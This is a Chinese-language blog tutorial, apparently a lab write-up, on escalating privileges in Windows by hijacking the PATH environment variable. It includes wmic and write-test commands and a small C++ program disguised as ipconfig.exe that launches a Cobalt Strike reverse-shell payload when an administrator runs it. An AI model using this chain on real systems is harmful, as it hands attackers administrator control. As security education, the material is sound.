关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:PATH 环境变量提权原理
在 Windows 操作系统中,Path 环境变量是一个包含多个目录路径的列表,系统通过这些路径来查找可执行文件(如 .exe
、.bat
等)。当你在命令提示符或运行对话框中输入命令时,系统会按照 Path 变量中的路径顺序搜索对应的可执行文件。
简单的来说,就是当用户在 CMD 命令行中运行一个命令时,若是没有使用绝对路径运行,比如 "C:\Windows\System32\ipconfig.exe"
,而是直接在 CMD 中输入 ipconfig
的话,那么 Windows 会先在当前目录下寻找 ipconfig.exe,若是没找到,则会根据 Path 环境变量中的目录依次去寻找:
我们通常新增 Path 环境变量都是在最后面添加,若是由于配置不当,导致在最前面新增了 Path 环境变量,那么在此目录下新建的与常用系统命令一样名字的 exe 程序就会被优先执行,若是执行命令的是一个高权限用户,则很可能会被攻击者获取权限:
0x02:PATH 环境变量提权环境配置
复现环境
靶机 Windows 7:IP 192.168.0.126
攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端
攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境
PATH 环境变量提权的环境比较好配置,使用管理员账号添加一条环境变量即可:
0x03:PATH 环境变量提权漏洞复现
0x0301:拿到靶机低权限用户 Shell
首先让靶机的一个普通用户上线 CS,笔者是通过 Windows 恶意程序上线靶机的:
如上,拿到靶机的一个 Users 用户组中的 Shell,下面我们就开始通过 PATH 环境变量进行提权。
0x0302:查找可利用的环境变量
输入下面的命令,查看目标系统中可以进行利用的环境变量:
wmic ENVIRONMENT where "name='path'" get UserName, VariableValue
如上,发现 %SystemRoot% 前面有一个用户自己配置的 Python 环境变量目录。
0x0303:查看用户有写入权限
确定了可利用的目录后,我们还要确定当前用户对目标目录有无写入文件的权限,我们可以尝试性的往目标目录写入一个 txt 文件看看:
- echo 123 > C:\Users\Public\Python3.10\test.txt # 写入指定文件
- del C:\Users\Public\Python3.10\test.txt # 删除指定文件
通过如上测试,可以确定我们对目标目录存在读写权限,可以进行进一步的漏洞利用。
0x0304:制作恶意程序
接下来,我们制作一个劫持 ipconfig.exe
的程序,下面是其对应的 C++ 代码(记住保存的文件名是 ipconfig.cpp
哦):
- #include
- #include
-
- int main() {
- system("cmd.exe /c C:\\Users\\test01\\Desktop\\artifact.exe");
- return 0;
- }
上面这个程序在运行后,会自动调用 CMD 去执行我们用 CS 制作的 Windows 反弹 Shell 的木马程序。
0x0305:上传恶意程序
接下来,我们将由上面代码生成的 ipconfig.exe 上传到靶机的 C:\Users\Public\Python3.10 目录下:
0x0306:等待管理员执行 & 提权成功
接下来,我们登录靶机,切换到 Administered 用户,执行 ipconfig 命令看看结果:
如上,当管理员执行 ipconfig 后,由于 PATH 环境变量的劫持,它执行了我们实现制作的恶意程序,导致将自己的权限直接移交给攻击者,攻击者成功提权。



评论记录:
回复评论: